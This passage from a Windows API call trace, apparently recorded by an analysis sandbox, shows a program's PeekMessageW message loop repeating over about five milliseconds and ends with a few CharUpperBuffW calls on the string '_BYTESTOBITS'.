wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.830] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.831] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.832] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.833] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.834] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: 